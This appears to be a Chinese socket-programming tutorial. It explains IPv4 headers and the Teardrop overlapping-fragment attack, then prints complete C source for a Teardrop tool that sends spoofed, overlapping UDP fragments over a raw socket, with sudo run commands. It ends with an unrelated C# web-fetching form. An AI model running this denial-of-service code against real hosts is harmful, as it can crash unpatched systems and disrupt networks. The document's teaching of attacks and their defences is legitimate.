socket编程实战
目录
- Teardrop攻击--伪造虚假的IP数据包发送并抓取
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- 一、相关介绍
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- 1.IP协议
- 2.Teardrop攻击
- 二、编写Teardrop程序（伪造一个虚假地址的IP包）
- 二、C#—浏览器客户端软件
Teardrop攻击–伪造虚假的IP数据包发送并抓取
一、相关介绍
1.IP协议
IP是Internet Protocol（网际互连协议）的缩写，是TCP/IP体系中的网络层协议。设计IP的目的是提高网络的可扩展性：一是解决互联网问题，实现大规模、异构网络的互联互通；二是分割顶层网络应用和底层网络技术之间的耦合关系，以利于两者的独立发展。根据端到端的设计原则，IP只为主机提供一种无连接、不可靠的、尽力而为的数据包传输服务。
目前普遍使用的还是IPv4，报文格式如下：
说明：
版本(4bit)：4代表IPv4
首部长度(4bit)：这里的5代表5*4=20，将这里的数乘以4就是首部的长度，因此我们抓取的这个数据报的IP首部长度为20
区分服务(8bit)：用来获得更好的服务。这个字段在旧标准中叫做服务类型，但实际上一直没有被使用过，其一般位0
总长度(16bit)：代表IP数据报的总长度，单位是字节，共16位，因此IP数据报最大长度为2^16-1=65535字节
标识(16bit)：用于标识IP数据报。由于在不同的网络环境中的MTU不同，IP数据报有时需要分片，为了正确重组IP数据报，故每个数据报有标识字段，标识该分组的一个随机号
标志(3bit)：最低一位为MF（more fragment）标识后面是否还有碎片，中一位DF（don’t fragment）表示该数据报是否允许被分片
片偏移(13bit)：用于标识该碎片在整个数据报中的位置
检验和(16bit)：仅校验头部，而不检验数据部分
TTL(8bit)：单位是路由次数，表示最多经过多少路由
协议(8bit)：携带的数据是何种协议，即该数据应该交付至哪层传输层协议，其中6表示TCP，17表示UDP
源IP(16bit)
目的IP(16bit)
2.Teardrop攻击
介绍：Teardrop攻击是一种畸形报文攻击。是基于UDP的病态分片数据包的攻击方法，其工作原理是向被攻击者发送多个分片的IP包（IP分片数据包中包括该分片数据包属于哪个数据包以及在数据包中的位置等信息），某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。
攻击特征：Teardrop是基于UDP的病态分片数据包的攻击方法，其工作原理是向被攻击者发送多个分片的IP包（IP分片数据包中包括该分片数据包属于哪个数据包以及在数据包中的位置等信息），某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。（利用UDP包重组时重叠偏移（假设数据包中第二片IP包的偏移量小于第一片结束的位移，而且算上第二片IP包的Data，也未超过第一片的尾部，这就是重叠现象。）的漏洞对系统主机发动畸形报文攻击，最终导致主机宕机；对于Windows系统会导致蓝屏死机，并显示STOP 0x0000000A错误。）
检测方法：对接收到的分片数据包进行分析，计算数据包的片偏移量（Offset）是否有误。
反攻击方法：添加系统补丁程序，丢弃收到的病态分片数据包并对这种攻击进行审计。尽可能采用最新的操作系统，或者在防火墙上设置分段重组功能，由防火墙先接收到同一原包中的所有拆分数据包，然后完成重组工作，而不是直接转发。因为防火墙上可以设置当出现重叠字段时所采用的规则。
二、编写Teardrop程序（伪造一个虚假地址的IP包）
在ubuntu上敲命令：
mkdir Teardrop
cd Teardrop
nano Teardrop.c
代码：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else
/* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.*/
void usage(u_char *);
u_long name_resolve(u_char *);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
// 定义源地址和目的地址
u_long src_ip = 0, dst_ip = 0;
// 定义源端口和目的端口
u_short src_prt = 0, dst_prt = 0;
// 定义一个32位的IPv4地址
struct in_addr addr;
printf("teardrop route|daemon9\n\n");
//创建原始套接字
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf(stderr, "raw socket");
exit(1);
}
//设置套接字选项IP_HDRINCL
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,
(char *)&one, sizeof(one))< 0)
{
fprintf(stderr, "IP_HDRINCL");
exit(1);
}
if (argc < 3)
usage(argv[0]);
// 设置源IP 和 目的IP
if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': // source port (should be emphemeral)
src_prt = (u_short)atoi(optarg);
break;
case 't': // dest port (DNS, anyone?)
dst_prt = (u_short)atoi(optarg);
break;
case 'n': // number to send
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; // NOTREACHED
}
}
srandom((unsigned)(utimes("0",(time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count)
count = COUNT;
printf("Death on flaxen wings:\n");
addr.s_addr = src_ip;
printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
printf(" Amt: %5d\n", count);
printf("[\n ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
// printf("b00m ");
usleep(500);
}
printf("]\n");
return (0);
}
// 设置 IP 包的内容
void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers
u_char byte; // a byte
// 套接字地址结构
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
flag = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
// IP version and header length
byte = 0x45;
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; // IP TOS (skipped)
// total length
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); // IP id
p_ptr += 2;
//IP frag flags and offset
*((u_short *)p_ptr) |= FIX(IP_MF);
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; // IP TTL
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
// IP checksum filled in by kernel
p_ptr += 4;
// IP source address
*((u_long *)p_ptr) = src_ip;
p_ptr += 4;
// IP destination address
*((u_long *)p_ptr) = dst_ip;
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); // UDP source port
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); // UDP destination port
p_ptr += 2;
*((u_short *)p_ptr) = htons(PADDING); // UDP total length
p_ptr += 4;
// 发送数据：Fake News
*((u_short *)p_ptr) = 0x46;
p_ptr++;
*((u_short *)p_ptr) = 0x61;
p_ptr++;
*((u_short *)p_ptr) = 0x6B;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x20;
p_ptr++;
*((u_short *)p_ptr) = 0x4E;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x77;
p_ptr++;
*((u_short *)p_ptr) = 0x73;
int i=1;
while(i <= 56)
{
printf("%x\t",*flag);
flag++;
if(0 == i%8)
printf("\n");
i++;
}
if (sendto(sock, packet, IPH + UDPH + PADDING, 0,
(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
// IP total length is 2 bytes into the header
p_ptr = &packet[2];
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
// IP offset is 6 bytes into the header
p_ptr += 4;
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH+MAGIC+1, 0,
(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
free(packet);
}
// 获取主机信息
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);
exit(0);
}
编译运行：
gcc Teardrop.c -o Teardrop
sudo ./Teardrop 100.100.100.100 200.200.200.200
采用wireshark抓包分析
二、C#—浏览器客户端软件
打开C#，新建工程：
按照如图所示进行From设计：
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
//新添加命名空间
using System.Net;
using System.IO;
namespace HttpWeb
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
//双击"浏览"添加Click事件
private void button1_Click(object sender, EventArgs e)
{
//获取输入的URL
string url = textBox1.Text;
//创建http链接
//HttpWebRequest对象实例:该类用于获取和操作HTTP请求 var可改成HttpWebRequest
var request = (HttpWebRequest)WebRequest.Create(url); //Create:创建WebRequest对象
//HttpWebResponse对象实例:该类用于获取和操作HTTP应答 var可改成HttpWebResponse
var response = (HttpWebResponse)request.GetResponse(); //GetResponse:获取答复
//构造数据流对象实例
Stream stream = response.GetResponseStream();//GetResponseStream:获取应答流
StreamReader sr = new StreamReader(stream); //从字节流中读取字符
//从流当前位置读取到末尾并显示在WebBrower控件中
string content = sr.ReadToEnd();
webBrowser1.DocumentText = content;
}
}
}
由于兼容性和版本问题，需要添加头文件：
using System.IO;
using System.Net;
编译运行：
